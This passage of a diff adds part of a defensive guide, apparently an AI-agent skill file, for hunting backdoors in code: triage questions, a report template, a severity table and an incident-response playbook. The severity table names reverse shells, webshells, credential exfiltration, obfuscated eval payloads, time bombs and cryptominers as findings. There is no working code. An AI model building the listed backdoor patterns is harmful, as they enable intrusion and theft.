2. **Who introduced it?** Author, date, PR
|
|
194
|
+
3. **Is the explanation legitimate?** Real feature vs hidden payload
|
|
195
|
+
4. **Does it run in production?** Or only in dev/test (lower urgency)
|
|
196
|
+
5. **What does it actually do?** Manually decode, trace data flow, run in sandbox
|
|
197
|
+
|
|
198
|
+
### 12. Report
|
|
199
|
+
|
|
200
|
+
```
|
|
201
|
+
## BACKDOOR HUNT REPORT
|
|
202
|
+
|
|
203
|
+
### Scan Coverage
|
|
204
|
+
Files scanned: N
|
|
205
|
+
Lines of code: N
|
|
206
|
+
Patterns checked: 12 categories
|
|
207
|
+
|
|
208
|
+
### Confirmed Threats
|
|
209
|
+
[severity] [file:line] [pattern] [decoded behavior] [recommended action]
|
|
210
|
+
|
|
211
|
+
### Suspicious Patterns (need manual review)
|
|
212
|
+
[severity] [file:line] [pattern] [why suspicious]
|
|
213
|
+
|
|
214
|
+
### Triage Notes
|
|
215
|
+
[per finding: introduced by, when, runs where, decoded action]
|
|
216
|
+
|
|
217
|
+
### Hardening Recommendations
|
|
218
|
+
1. [first action — usually: revert / quarantine / rotate]
|
|
219
|
+
2. ...
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
## Severity Calibration
|
|
223
|
+
|
|
224
|
+
| Finding | Severity |
|
|
225
|
+
|---|---|
|
|
226
|
+
| Confirmed reverse shell or RCE webshell | CRITICAL |
|
|
227
|
+
| Confirmed credential exfiltration to attacker host | CRITICAL |
|
|
228
|
+
| Obfuscated eval(decoded blob) decoding to network call | CRITICAL |
|
|
229
|
+
| Time-bomb code (date-gated payload) | CRITICAL |
|
|
230
|
+
| Cryptominer worker | HIGH |
|
|
231
|
+
| Magic header auth bypass | HIGH |
|
|
232
|
+
| Dynamic require with non-literal | HIGH |
|
|
233
|
+
| Unexplained network call from build script | HIGH |
|
|
234
|
+
| eval/Function() with literal string (probably safe but smell) | MEDIUM |
|
|
235
|
+
| Telemetry library you didn't add | MEDIUM |
|
|
236
|
+
|
|
237
|
+
## Response Playbook
|
|
238
|
+
|
|
239
|
+
For any CRITICAL finding:
|
|
240
|
+
|
|
241
|
+
1. **Quarantine first** — `git revert` the commit, take affected service offline
|
|
242
|
+
2. **Preserve evidence** — copy the file before reverting; keep git history intact
|
|
243
|
+
3. **Rotate everything** — assume secrets in env / credentials store / DB are compromised
|
|
244
|
+
4. **Scope the blast radius** — when did the backdoor land? What ran since?
|
|
245
|
+
5. **Notify** — security team, then potentially users (depending on jurisdiction GDPR/etc.)
|
|
246
|
+
6. **Audit downstream** — if you ship a library, downstream users are now at risk
|
|
247
|
+
|
|
248
|
+
## When to Run
|
|
249
|
+
|
|
250
|
+
**ALWAYS:** After every dependency update, on every PR from a new contributor, before publishing your own packages, after any "weird build behavior" report.
|
|
251
|
+
|
|
252
|
+
**IMMEDIATELY:** Compromise alert from CISA / NIST / a vendor security advisory, suspicious activity in CI logs, after onboarding code from contractor / acquisition.
|
|
253
|
+
|
|
254
|
+
## Reference
|
|
255
|
+
|
|
256
|
+
See `supply-chain-auditor` for the dep-level audit. See `secret-hunter` for credential leaks. See `prompt-injection-hunter` for the AI-feature side.
|
|
257
|
+
|
|
258
|
+
---
|
|
259
|
+
|
|
260
|
+
**Remember:** A backdoor's job is to look normal. The person who put it there expected to be reviewed by a tired engineer at end-of-PR-day, not by you. Read everything as if it's malicious until proven benign.
|